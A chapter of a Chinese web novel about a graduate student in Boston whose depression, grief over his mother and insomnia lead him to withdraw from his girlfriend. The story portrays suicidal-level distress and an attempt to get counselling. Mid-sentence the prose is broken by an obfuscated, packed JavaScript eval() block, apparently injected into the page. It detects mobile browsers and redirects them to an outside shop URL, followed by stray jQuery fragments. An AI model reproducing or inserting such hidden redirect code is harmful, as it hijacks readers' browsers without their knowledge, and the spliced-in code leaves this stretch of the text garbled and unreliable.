波士顿的深夜，实验室的灯依旧亮着。


    时越坐在电脑前，屏幕数据在跳动着，仿佛在笑话他的又一次的无用功。他已经在这里坐了多久？八个小时，还是十个小时？时间的感官已经变得模糊，他记不清了。


    他从来都觉得自己是那个解决问题的人。所有难题，在他眼中，都只是一组可以通过逻辑和努力来拆解的变量。可到了这里，一切都变了样。


    时越端着餐盘，目光扫过喧闹的食堂。一桌印度学生在激烈辩论，另一桌美国学生在放声大笑。他的视线最终落在一个空位上，他走过去，用目光询问对面正在看书的女生。


    女生抬起头，瞥了他一眼，面无表情地将自己放在空座上的书包拎起，放在了旁边的椅子上。


    时越坐下，机械地咀嚼着盘中的食物，味同嚼蜡。周围嘈杂声中，在谈论着他无法融入的话题。五分钟后，他站起身，餐盘里的食物几乎没动。他走到垃圾桶边，手腕一倾，将食物尽数倒掉。餐盘与桶壁碰撞的闷响，是这顿饭里，属于他的唯一的声音。


    他第一次正式面对自己的问题，发生在误打了顾知秋电话后，第二天的清晨。那通电话，也许并不能说是误触，他当时痛苦到难以呼吸，以为自己撑不下去了，想要听听她的声音。却一句话也说不出来，整个人无法动弹。


    清晨，他逼自己站在洗手间的镜子前，用冷水反复冲脸，试图驱散那种如影随形的麻木。他看着镜中那个眼神空洞、下巴上还有没刮干净胡茬的自己，深吸一口气。


    他拿出手机，点开与顾知秋的对话框。他想告诉她，他没事，他只是需要一点时间。他一个字一个字地敲：


    【我没事，别担心。】


    点击发送已经耗费了他积攒了很久的气力。这谎言让他感到羞耻，但这是他目前唯一做的。他像一个在深渊里的人，努力朝洞口的方向扔出了一颗小石子，期盼着有路过的人看见，知道里面有人。他希望又不希望这个路过的人是顾知秋，他好想她，但又不想她看到此刻的他。


    她的每一次分享，都像从另一个温暖的星球，投射过来的一束光。那束光，曾经是他的锚点和慰藉。可现在，当他自己深陷于冰冷的黑暗时，却变得刺眼起来。


    它照亮了他此刻所有的无能为力和格格不入。


    他怎么能告诉她，他刚刚在食堂，一个人端着餐盘，在无数张谈笑风生的异国面孔中，好不容易找到一个可以坐下的位置，吃了两口却只能把食物倒掉，回到这间无人的实验室？


    他怎么能告诉她，他引以为傲的信仰，正在全方位的崩溃？


    他做不到。


    他想做回那个在她面前自信又可靠的时越。


    当他收到顾知秋的一张照片，是她宿舍楼下那只胖橘猫，【今天橘大王也很稳定。】照片里，胖猫一脸“天下与我何干”的安逸。


    时越看着那张照片，他本该笑的，他本该回复一个同样有趣的表情包，然后告诉她，他今天也过得很好。


    可他做不到。


    那天下午，他强迫自己离开了实验室和宿舍，走进了学校的心理咨询中心大楼。他在接待处安静地坐了一会儿，看着宣传架上那些关于“压力管理”、“睡眠改善”、“病耻感”的小册子。轮到他时，他对前台的工作人员艰难地开口：“I think I need to talk to someone.”（我想我需要和人谈谈。）


    然而，当对方告知最早的预约时间也在一周后时，他内心深处那根紧绷的弦，再一次松垮了下去。他低声说了句“Thank you”，几乎是逃跑似的离开了那里。


    一周时间。他甚至不知道自己还能不能撑过下一个二十四小时。


    —


    他失眠状况变得更严重了，在夜里，他不能关灯，清醒的时候，任凭灯光照在他干涩的眼球上。他也不敢闭眼太久，每次闭上眼睛，他能清晰地听到自己胸腔里那颗失控的心脏，毫无章法地狂跳着，每一次跳动，都带来一阵令人窒息的慌乱。那阵慌乱却如此熟悉，像极了初三暑假，医院走廊里消毒水的气味。那时，他也只能听着自己无助的心跳。


    初三暑假的医院走廊，消毒水的气味刺鼻。母亲躺在病床上。医生摇着头说"可能会变成植物人"，父亲红着眼睛签下一张又一张治疗免责单。而他，只能坐在病房外的长椅上，翻着一本又一本物理神经康复书籍，妄图从那些晦涩的专业术语中找到一线希望。


    他劝母亲去参加那场演出，他说“不想她因为自己放弃梦想”。他以为那是懂事。


    时越的呼吸变得急促，胸口剧烈起伏着。他想起母亲生前经常跟他说的话："小越，妈妈只希望你的生活平安、快乐就好。做你喜欢做的事情。"


    他其实一直努力能成为一个优秀的人，因为她还在世的话，一定会以自己为傲。而现在，他自己的生活和学习都搞得一塌糊涂。


    “妈妈，是不是如果我没有劝你去，一切都会不一样？


    历史仿佛以另一种完全不同却同样残酷的方式重演。而他再一次，什么都做不了。


    —


    在收到顾知秋那条关于“唤醒程序”的微信后，他不知道该怎么回答。但是有了再次踏足心理咨询室的勇气。


    几次下来，他给自己立下承诺：每天必须吃一顿正餐，要和除了教授之外的人说上至少一句话，要保证睡眠六小时，哪怕只是闭上眼睛。


    他特意去学校附近一家最热闹的咖啡馆，点了一块蛋糕和一杯咖啡，坐在店里。看着咖啡店里来来往往的人们，很多都是周围学校的学生，他试图在喧闹的环境里找回一点“活着”的感觉。


    店里人声鼎沸，堂食的客人们三三两两在聊着天。蛋糕是顾知秋喜欢的提拉米苏，他尝了一口，却仿佛失去了味觉，尝不出任何的味道。就像此刻，“热闹是他们的，我什么也没有。”


    他听到邻桌几个人在讨论一场即将到来的音乐会。那一刻，他又想到了顾知秋。如果是她在，她一定会拉着他的手，眼神亮晶晶地说：“时越，我们也去吧！”


    这个念头的涌现，带来的却


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667435|181043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只有更深的思念。他拿出手机，点开顾知秋的聊天界面，她的头像安静的挂着，每天还是跟往常一样跟他分享生活中的点滴。可越是这样，他越是觉得无法面对。他想说点什么，想发一杯咖啡的照片，告诉她以后可以和她一起来，想对她说，“只只，我好想你。你放假可以来陪我吗？”


    可一想到自己现在可能连一个正常的微笑都笑不出来，他不想她为自己担心，不想让她看到这样的自己。最终，他只是默默关掉了屏幕。他不要她被现在“可怕又懦弱”的自己吓到。也许有一天，等他好一些了，再跟她解释最近的一切。


    在他与自己激烈斗争中取得些许微小进展时，顾知秋的消息每天准时抵达。


    他看着屏幕上她那些充满活力的文字，生动地展示着她生活中的大小事情，有时候是成功的喜悦。他仿佛能看到她编写消息时的表情。他本应该为她高兴的——最爱的人在努力的和自己分享生活的点滴，还在实现她梦想的道路上高歌猛进。


    可是，盯着那些消息，他想到自己的现状。像是一个在沉入冰冷湖底的人，明明看着岸上燃烧着温暖的篝火，却连抬起手臂抓住湖岸的力气都没有。


    “只只，对不起。”他在心里无声地说，“我不是不想回应你，而是我这里……”他抬手按在自己胸口，“好像再也不能恢复了。”


    “我看着你的消息，我知道我应该笑，应该为你骄傲。可我却控制不了我的想法。”


    “这样的我，连自己都觉得陌生和厌恶。我怎么敢把它展示给你？”


    他不是不想救自己，他试过了，他又失败了。


    所以，当顾知秋再一次在在早晨打来视频电话，当她捅破那层窗户纸，当她的声音都快带上哭腔，请求他“你可不可以先什么都不要想”时。他感觉自己那根一直紧绷着的的弦，“啪”地一声，彻底断了。


    她终究还是看到了。看到了这个一败涂地的他，或许这才是真正的他。


    “时越，看你这样我好难受……”


    “我过来陪你好不好？”


    “我真的好想你。”


    “你看我的机票订单，我考完试第二天就过来了陪你好不好。”


    她温柔发出的每一句话，都像一把锋利的刺刀，插进他早已千疮百孔的自尊里。


    不。不可以。


    他脑海中只剩下这一个念头。他不能让她来！他无法接受自己这满身的泥泞，去拉他的月亮一起坠落！


    “顾知秋，”他听到自己连名带姓地叫她，用尽最后一丝力气筑起决绝的防线：“别过来！先别管我了可以吗？”


    长久的沉默后，她声音有些颤抖但清晰地说：“你之前答应过我，无论好坏，我们一起面对。现在，你准备违约了吗？”


    “对不起！”


    说完，他干脆利落地挂断电话，将手机远远地扔到桌子的另一头。


    世界瞬间安静了下来。


    听筒里再也没有她焦急的呼唤。空气里只剩下服务器的嗡鸣，和他自己那声比哭泣更压抑的喘息。